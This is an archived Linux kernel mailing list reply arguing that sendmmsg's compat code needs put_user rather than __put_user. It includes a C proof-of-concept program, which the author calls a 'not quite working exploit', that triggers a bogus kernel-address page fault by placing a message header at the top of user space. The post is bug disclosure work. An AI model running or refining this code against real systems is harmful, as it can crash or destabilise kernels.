lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <4F7E3561.8000803@mit.edu>
Date:	Thu, 05 Apr 2012 17:14:25 -0700
From:	Andy Lutomirski <luto@....EDU>
To:	David Miller <davem@...emloft.net>
CC:	drepper@...il.com, netdev@...r.kernel.org,
	linux-kernel@...r.kernel.org
Subject: Re: sendmmsg: put_user vs __put_user

On 03/30/2012 05:51 PM, David Miller wrote:
> From: Ulrich Drepper <drepper@...il.com>
> Date: Fri, 30 Mar 2012 09:36:11 -0400
> 
>> Shouldn't the compat code in the sendmmsg implementation use the same
>> code as the normal code?  In which case you probably want something
>> like this:
> 
> Compat processes are not able to generate virtual addresses anywhere
> near the range where the kernel resides, so the address range
> verification done by put_user() is completely superfluous and
> therefore not necessary.  The normal exception handling done by the
> access is completely sufficient.

I disagree.  The following exploit causes a bogus page fault to a kernel
address.  I think this isn't exploitable right now on x86-64 because the
page fault handler fixes it up, but I wouldn't be surprised if this
crashes or at least warns on some architecture.  (Actually trashing
kernel memory is probably impossible with this on x86-64 chips because
this can only overrun user space by four bytes, and there's a giant gap
of impossible addresses above user space in x86-64.

Compile as 64 bit code.  Tested by instrumenting the page fault handler.

/* Not quite working exploit.  Copyright (c) 2012 Andy Lutomirski. */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdio.h>

#define COMPAT_MSGHDR_SIZE 28
#define TASK_SIZE_MAX	((1UL << 47) - 4096)
#define MSG_CMSG_COMPAT 0x80000000

int main()
{
	int s;
	struct sockaddr_in addr;
	struct msghdr *hdr;

	char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
	                      PROT_READ | PROT_WRITE,
	                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
	                      -1, 0);
	if (highpage == MAP_FAILED) {
		perror("mmap");
		return 1;
	}

	s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (s == -1) {
		perror("socket");
		return 1;
	}

        addr.sin_family = AF_INET;
        addr.sin_port = htons(1);
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
		perror("connect");
		return 1;
	}

	void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
	printf("Evil address is %p\n", evil);

	// Purely for illustration.
	if (sendmsg(s, evil, MSG_CMSG_COMPAT) < 0) {
		perror("sendmsg");
		return 1;
	}
	memset(highpage, 0, 4096);
	{
		int tmp;
		socklen_t sz;
		getsockopt(s, SOL_SOCKET, SO_ERROR, &tmp, &sz);
	}

	if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0) {
		perror("sendmmsg");
		return 1;
	}

	return 0;
}
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ